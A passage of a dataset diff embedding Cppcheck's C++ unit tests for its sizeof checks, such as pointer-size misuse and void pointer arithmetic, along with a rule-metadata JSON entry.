free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int*));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" free(x);\\n\"\n \" int **y = malloc(sizeof(int*));\\n\"\n \" free(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(100 * sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(x) * 100);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof *x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(100 * sizeof x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof(*x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof *x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof(int));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char x[10];\\n\"\n \" memset(x, 0, sizeof(x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char* x[10];\\n\"\n \" memset(x, 0, sizeof(x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char x[10];\\n\"\n \" memset(x, 0, sizeof x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof(int));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof(*x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof *x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof(x) * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof x * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof(*x) * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof *x * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof(int) * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\n \"int fun(const char *buf1)\\n\"\n \"{\\n\"\n \" const char *buf1_ex = \\\"foobarbaz\\\";\\n\"\n \" return strncmp(buf1, buf1_ex, sizeof(buf1_ex)) == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (warning) Size of pointer 'buf1_ex' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\n \"int fun(const char *buf1) {\\n\"\n \" return strncmp(buf1, foo(buf2), sizeof(buf1)) == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Size of pointer 'buf1' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"int fun(const char *buf2) {\\n\"\n \" return strncmp(buf1, buf2, sizeof(char*)) == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (warning) Size of pointer 'buf2' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n // #ticket 3874\n check(\"void f()\\n\"\n \"{\\n\"\n \" int * pIntArray[10];\\n\"\n \" memset(pIntArray, 0, sizeof(pIntArray));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void FreeFileName(const char *s) {\\n\"\n \" CxString tbuf;\\n\"\n \" const char *p;\\n\"\n \" memcpy(s, siezof(s));\\n\" // non-standard memcpy\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" module_config_t *tab = module;\\n\"\n \" memset(tab + confsize, 0, sizeof(tab[confsize]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(char* aug) {\\n\"\n \" memmove(aug + extra_string, aug, buf - (bfd_byte *)aug);\\n\" // #7100\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7518\n check(\"bool create_iso_definition(cpp_reader *pfile, cpp_macro *macro) {\\n\"\n \" cpp_token *token;\\n\"\n \" cpp_hashnode **params = malloc(sizeof(cpp_hashnode *) * macro->paramc);\\n\"\n \" memcpy(params, macro->params, sizeof(cpp_hashnode *) * macro->paramc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void* foo() {\\n\"\n \" void* AtomName = malloc(sizeof(char *) * 34);\\n\"\n \" return AtomName;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPointerSizeofStruct() {\n check(\"void f() {\\n\"\n \" struct foo *ptr;\\n\"\n \" memset( ptr->bar, 0, sizeof ptr->bar );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct foo {\\n\"\n \" char bar[10];\\n\"\n \" }* ptr;\\n\"\n \" memset( ptr->bar, 0, sizeof ptr->bar );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct foo {\\n\"\n \" char *bar;\\n\"\n \" }* ptr;\\n\"\n \" memset( ptr->bar, 0, sizeof ptr->bar );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (warning) Size of pointer 'bar' used instead of size of its data. [pointerSize]\\n\", errout_str());\n }\n\n void sizeofDivisionMemset() {\n check(\"void foo(memoryMapEntry_t* entry, memoryMapEntry_t* memoryMapEnd) {\\n\"\n \" memmove(entry, entry + 1, (memoryMapEnd - entry) / sizeof(entry));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:56]: (warning, inconclusive) Division of result of sizeof() on pointer type. [divideSizeof]\\n\"\n \"[test.cpp:2:54]: (warning) Division by result of sizeof(). memmove() expects a size in bytes, did you intend to multiply instead? [sizeofDivisionMemfunc]\\n\",\n errout_str());\n\n check(\"Foo* allocFoo(int num) {\\n\"\n \" return malloc(num / sizeof(Foo));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (warning) Division by result of sizeof(). malloc() expects a size in bytes, did you intend to multiply instead? [sizeofDivisionMemfunc]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char str[100];\\n\"\n \" strncpy(str, xyz, sizeof(str)/sizeof(str[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #9648\n \" int a[5] = { 0 };\\n\"\n \" int b[5];\\n\"\n \" memcpy(b, a, ((sizeof(a) / sizeof(a[0])) - 1) * sizeof(a[0]));\\n\"\n \" memcpy(b, a, sizeof(a[0]) * ((sizeof(a) / sizeof(a[0])) - 1));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sizeofVoid() {\n check(\"void f() {\\n\"\n \" int size = sizeof(void);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (portability) Behaviour of 'sizeof(void)' is not covered by the ISO C standard. [sizeofVoid]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p;\\n\"\n \" int size = sizeof(*p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (portability) '*p' is of type 'void', the behaviour of 'sizeof(void)' is not covered by the ISO C standard. [sizeofDereferencedVoidPointer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p = malloc(10);\\n\"\n \" int* p2 = p + 4;\\n\"\n \" int* p3 = p - 1;\\n\"\n \" int* p4 = 1 + p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) 'p' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:4:15]: (portability) 'p' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:5:15]: (portability) 'p' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p1 = malloc(10);\\n\"\n \" void* p2 = malloc(5);\\n\"\n \" p1--;\\n\"\n \" p2++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (portability) 'p1' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:5:5]: (portability) 'p2' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p1 = malloc(10);\\n\"\n \" void* p2 = malloc(5);\\n\"\n \" p1-=4;\\n\"\n \" p2+=4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (portability) 'p1' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:5:5]: (portability) 'p2' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p = malloc(10);\\n\"\n \" int* p2 = &p + 4;\\n\"\n \" int* p3 = &p - 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void** p1 = malloc(10);\\n\"\n \" p1--;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void** p1;\\n\"\n \" int j = sizeof(*p1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p1[5];\\n\"\n \" int j = sizeof(*p1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Calculations on void* with casts\n\n check(\"void f(void *data) {\\n\"\n \" *((unsigned char *)data + 1) = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void *data) {\\n\"\n \" *((unsigned char *)(data) + 1) = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void *data) {\\n\"\n \" unsigned char* c = (unsigned char *)(data + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:45]: (portability) 'data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f(void *data) {\\n\"\n \" unsigned char* c = (unsigned char *)data++;\\n\"\n \" unsigned char* c2 = (unsigned char *)++data;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:43]: (portability) 'data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:3:40]: (portability) 'data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f(void *data) {\\n\"\n \" void* data2 = data + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) 'data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n // #4908 (void pointer as a member of a struct/class)\n check(\"struct FOO {\\n\"\n \" void *data;\\n\"\n \"};\\n\"\n \"char f(struct FOO foo) {\\n\"\n \" char x = *((char*)(foo.data+1));\\n\"\n \" foo.data++;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:30]: (portability) 'foo.data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:6:11]: (portability) 'foo.data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"struct FOO {\\n\"\n \" void *data;\\n\"\n \"};\\n\"\n \"char f(struct FOO foo) {\\n\"\n \" char x = *((char*)foo.data+1);\\n\"\n \" return x;\\n\"\n \"}\\n\"\n \"char f2(struct FOO foo) {\\n\"\n \" char x = *((char*)((FOO)foo).data + 1);\\n\"\n \" return x;\\n\"\n \"}\\n\"\n \"char f3(struct FOO* foo) {\\n\"\n \" char x = *((char*)foo->data + 1);\\n\"\n \" return x;\\n\"\n \"}\\n\"\n \"struct BOO {\\n\"\n \" FOO data;\\n\"\n \"};\\n\"\n \"void f4(struct BOO* boo) {\\n\"\n \" char c = *((char*)boo->data.data + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct FOO {\\n\"\n \" void *data;\\n\"\n \"};\\n\"\n \"char f(struct FOO* foo) {\\n\"\n \" *(foo[1].data + 1) = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (portability) 'foo[1].data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"struct FOO {\\n\"\n \" void *data;\\n\"\n \"};\\n\"\n \"void f2(struct FOO* foo) {\\n\"\n \" (foo[0]).data++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (portability) '(foo[0]).data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n // #6050 arithmetic on void**\n check(\"void* array[10];\\n\"\n \"void** b = array + 3;\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void customStrncat() {\n // Ensure we don't crash on custom-defined strncat, ticket #5875\n check(\"char strncat ();\\n\"\n \"int main () {\\n\"\n \" return strncat ();\\n\"\n \"}\");\n }\n\n};\n\nREGISTER_TEST(TestSizeof)\n\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckSizeof/checkSizeofForNumericParameter.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckSizeof/checkSizeofForNumericParameter.json new file mode 100644 index 0000000..5906eca --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckSizeof/checkSizeofForNumericParameter.json @@ -0,0 +1,22 @@ +{ + "name": "checkSizeofForNumericParameter", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 14, + "branches": 4, + "apis": 13, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 339 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checksizeof.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n#include \n\nclass TestSizeof : public TestFixture {\npublic:\n TestSizeof() : TestFixture(\"TestSizeof\") {}\n\nprivate:\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability).certainty(Certainty::inconclusive).library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(sizeofsizeof);\n TEST_CASE(sizeofCalculation);\n TEST_CASE(sizeofFunction);\n TEST_CASE(checkPointerSizeof);\n TEST_CASE(checkPointerSizeofStruct);\n TEST_CASE(sizeofDivisionMemset);\n TEST_CASE(sizeofForArrayParameter);\n TEST_CASE(sizeofForNumericParameter);\n TEST_CASE(suspiciousSizeofCalculation);\n TEST_CASE(sizeofVoid);\n TEST_CASE(customStrncat);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check...\n runChecks(tokenizer, this);\n }\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size]) {\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n // Tokenize..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check...\n runChecks(tokenizer, this);\n }\n\n void sizeofsizeof() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i = sizeof sizeof char;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (warning) Calling 'sizeof' on 'sizeof'. [sizeofsizeof]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i = sizeof (sizeof long);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (warning) Calling 'sizeof' on 'sizeof'. [sizeofsizeof]\\n\", errout_str());\n\n check(\"void foo(long *p)\\n\"\n \"{\\n\"\n \" int i = sizeof (sizeof (p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (warning) Calling 'sizeof' on 'sizeof'. [sizeofsizeof]\\n\", errout_str());\n }\n\n void sizeofCalculation() {\n check(\"int a, b; int a,sizeof(a+b)\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n check(\"int a, b; sizeof(a*b)\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n check(\"int a, b; sizeof(-a)\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n check(\"int a, b; sizeof(*a)\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"sizeof(void * const)\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"sizeof(int*[2])\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"sizeof(Fred**)\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"sizeof(foo++)\");\n ASSERT_EQUALS(\"[test.cpp:1:11]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n check(\"sizeof(--foo)\");\n ASSERT_EQUALS(\"[test.cpp:1:8]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n // #6888\n checkP(\"#define SIZEOF1 sizeof(i != 2)\\n\"\n \"#define SIZEOF2 ((sizeof(i != 2)))\\n\"\n \"#define VOIDCAST1 (void)\\n\"\n \"#define VOIDCAST2(SZ) static_cast(SZ)\\n\"\n \"int f(int i) {\\n\"\n \" VOIDCAST1 SIZEOF1;\\n\"\n \" VOIDCAST1 SIZEOF2;\\n\"\n \" VOIDCAST2(SIZEOF1);\\n\"\n \" VOIDCAST2(SIZEOF2);\\n\"\n \" return i + foo(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define SIZEOF1 sizeof(i != 2)\\n\"\n \"#define SIZEOF2 ((sizeof(i != 2)))\\n\"\n \"int f(int i) {\\n\"\n \" SIZEOF1;\\n\"\n \" SIZEOF2;\\n\"\n \" return i + foo(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (warning, inconclusive) Found calculation inside sizeof(). [sizeofCalculation]\\n\"\n \"[test.cpp:5:3]: (warning, inconclusive) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n checkP(\"#define MACRO(data) f(data, sizeof(data))\\n\"\n \"x = MACRO((unsigned int *)data + 4);\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n }\n\n void sizeofFunction() {\n check(\"class Foo\\n\"\n \"{\\n\"\n \" int bar() { return 1; };\\n\"\n \"}\\n\"\n \"Foo f;int a=sizeof(f.bar());\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n\n check(\"class Foo\\n\"\n \"{\\n\"\n \" int bar() { return 1; };\\n\"\n \" int bar() const { return 1; };\\n\"\n \"}\\n\"\n \"Foo f;int a=sizeof(f.bar());\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo\\n\"\n \"{\\n\"\n \" int bar() { return 1; };\\n\"\n \"}\\n\"\n \"Foo * fp;int a=sizeof(fp->bar());\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n\n check(\"int a=sizeof(foo());\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() { return 1; }; int a=sizeof(foo());\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n\n check(\"int foo() { return 1; }; sizeof(decltype(foo()));\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int) { return 1; }; int a=sizeof(foo(0))\");\n ASSERT_EQUALS(\"[test.cpp:1:35]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n\n check(\"char * buf; int a=sizeof(*buf);\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int a=sizeof(foo())\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int) { return 1; }; char buf[1024]; int a=sizeof(buf), foo(0)\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"struct A\\n\"\n \"{\\n\"\n \" static B f(const B &);\\n\"\n \" static A f(const A &);\\n\"\n \" static A &g();\\n\"\n \" static T &h();\\n\"\n \"\\n\"\n \" enum {\\n\"\n \" X = sizeof(f(g() >> h())) == sizeof(A),\\n\"\n \" Y = sizeof(f(g() << h())) == sizeof(A),\\n\"\n \" Z = X & Y\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"size_t f1() { return sizeof(x[0]); }\\n\"\n \"size_t f2() { return sizeof(g()); }\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:22]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n }\n\n void sizeofForArrayParameter() {\n check(\"void f() {\\n\"\n \" int a[10];\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned int a = 2;\\n\"\n \" unsigned int b = 2;\\n\"\n \" int c[(a+b)];\\n\"\n \" std::cout << sizeof(c) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned int a = { 2 };\\n\"\n \" unsigned int b[] = { 0 };\\n\"\n \" int c[a[b[0]]];\\n\"\n \" std::cout << sizeof(c) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void f() {\\n\"\n \" unsigned int a[] = { 1 };\\n\"\n \" unsigned int b = 2;\\n\"\n \" int c[(a[0]+b)];\\n\"\n \" std::cout << sizeof(c) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[] = { 1, 2, 3 };\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[3] = { 1, 2, 3 };\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f( int a[]) {\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n check(\"void f( int a[]) {\\n\"\n \" std::cout << sizeof a / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n check(\"void f( int a[3] ) {\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n check(\"typedef char Fixname[1000];\\n\"\n \"int f2(Fixname& f2v) {\\n\"\n \" int i = sizeof(f2v);\\n\"\n \" printf(\\\"sizeof f2v %d\\\", i);\\n\"\n \" }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p) {\\n\"\n \" p[0] = 0;\\n\"\n \" int unused = sizeof(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char p[] = \\\"test\\\";\\n\"\n \" int unused = sizeof(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #2495\n check(\"void f() {\\n\"\n \" static float col[][3]={\\n\"\n \" {1,0,0},\\n\"\n \" {0,0,1},\\n\"\n \" {0,1,0},\\n\"\n \" {1,0,1},\\n\"\n \" {1,0,1},\\n\"\n \" {1,0,1},\\n\"\n \" };\\n\"\n \" const int COL_MAX=sizeof(col)/sizeof(col[0]);\\n\"\n 